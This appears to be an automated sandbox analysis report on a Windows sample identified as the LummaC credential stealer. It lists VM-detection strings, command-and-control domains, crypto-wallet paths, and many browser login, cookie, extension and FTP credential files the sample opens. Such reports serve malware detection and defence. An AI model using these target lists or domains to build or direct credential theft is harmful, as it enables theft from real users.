Source: m4lz5aeAiN.exe, 00000000.00000003.2256756547.0000000002E4B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696487552p
Source: m4lz5aeAiN.exe, 00000000.00000003.2240350139.0000000000802000.00000004.00000020.00020000.00000000.sdmp, m4lz5aeAiN.exe, 00000000.00000002.2334614463.0000000000802000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW[c
Source: Amcache.hve.4.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.4.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: m4lz5aeAiN.exe, 00000000.00000003.2256756547.0000000002E45000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: m4lz5aeAiN.exe, 00000000.00000003.2256756547.0000000002E45000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: Amcache.hve.4.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.4.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: Amcache.hve.4.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: m4lz5aeAiN.exe, 00000000.00000003.2256756547.0000000002E45000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: m4lz5aeAiN.exe, 00000000.00000003.2256756547.0000000002E45000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: m4lz5aeAiN.exe, 00000000.00000003.2256756547.0000000002E45000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: m4lz5aeAiN.exe, 00000000.00000003.2256756547.0000000002E45000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: m4lz5aeAiN.exe, 00000000.00000003.2256756547.0000000002E45000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: Amcache.hve.4.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: m4lz5aeAiN.exe, 00000000.00000003.2256756547.0000000002E45000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: m4lz5aeAiN.exe, 00000000.00000003.2256756547.0000000002E45000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: m4lz5aeAiN.exe, 00000000.00000003.2256756547.0000000002E45000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: m4lz5aeAiN.exe, 00000000.00000003.2256756547.0000000002E45000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: m4lz5aeAiN.exe, 00000000.00000003.2256756547.0000000002E45000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: m4lz5aeAiN.exe, 00000000.00000003.2256756547.0000000002E45000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552

Source: C:\Users\user\Desktop\m4lz5aeAiN.exe

API call chain: ExitProcess graph end node

graph_0-27403

Source: C:\Users\user\Desktop\m4lz5aeAiN.exe

Code function: 0_2_00442080 LdrInitializeThunk,

0_2_00442080

Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Code function: 0_2_005D0083 push dword ptr fs:[00000030h]	0_2_005D0083
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Code function: 0_2_0213092B mov eax, dword ptr fs:[00000030h]	0_2_0213092B
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Code function: 0_2_02130D90 mov eax, dword ptr fs:[00000030h]	0_2_02130D90

HIPS / PFW / Operating System Protection Evasion

LummaC encrypted strings found

Source: m4lz5aeAiN.exe	String found in binary or memory: cloudewahsj.shop
Source: m4lz5aeAiN.exe	String found in binary or memory: rabidcowse.shop
Source: m4lz5aeAiN.exe	String found in binary or memory: noisycuttej.shop
Source: m4lz5aeAiN.exe	String found in binary or memory: tirepublicerj.shop
Source: m4lz5aeAiN.exe	String found in binary or memory: framekgirus.shop
Source: m4lz5aeAiN.exe	String found in binary or memory: wholersorie.shop
Source: m4lz5aeAiN.exe	String found in binary or memory: abruptyopsn.shop
Source: m4lz5aeAiN.exe	String found in binary or memory: nearycrepso.shop

Source: C:\Users\user\Desktop\m4lz5aeAiN.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\m4lz5aeAiN.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: Amcache.hve.4.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.4.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.4.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.4.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23090.2008-0\msmpeng.exe
Source: Amcache.hve.4.dr	Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: Process Memory Space: m4lz5aeAiN.exe PID: 1808, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: m4lz5aeAiN.exe, 00000000.00000002.2334614463.0000000000802000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Electrum\wallets
Source: m4lz5aeAiN.exe, 00000000.00000002.2334614463.0000000000802000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\ElectronCash\wallets
Source: m4lz5aeAiN.exe, 00000000.00000002.2334614463.00000000007E6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Jaxx Liberty
Source: m4lz5aeAiN.exe, 00000000.00000002.2334614463.0000000000802000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: m4lz5aeAiN.exe, 00000000.00000002.2334614463.0000000000802000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: m4lz5aeAiN.exe, 00000000.00000002.2334614463.00000000007E6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ExodusWeb3
Source: m4lz5aeAiN.exe, 00000000.00000002.2334614463.0000000000802000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Ethereum
Source: m4lz5aeAiN.exe, 00000000.00000002.2334614463.00000000007BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: m4lz5aeAiN.exe, 00000000.00000002.2334614463.0000000000802000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
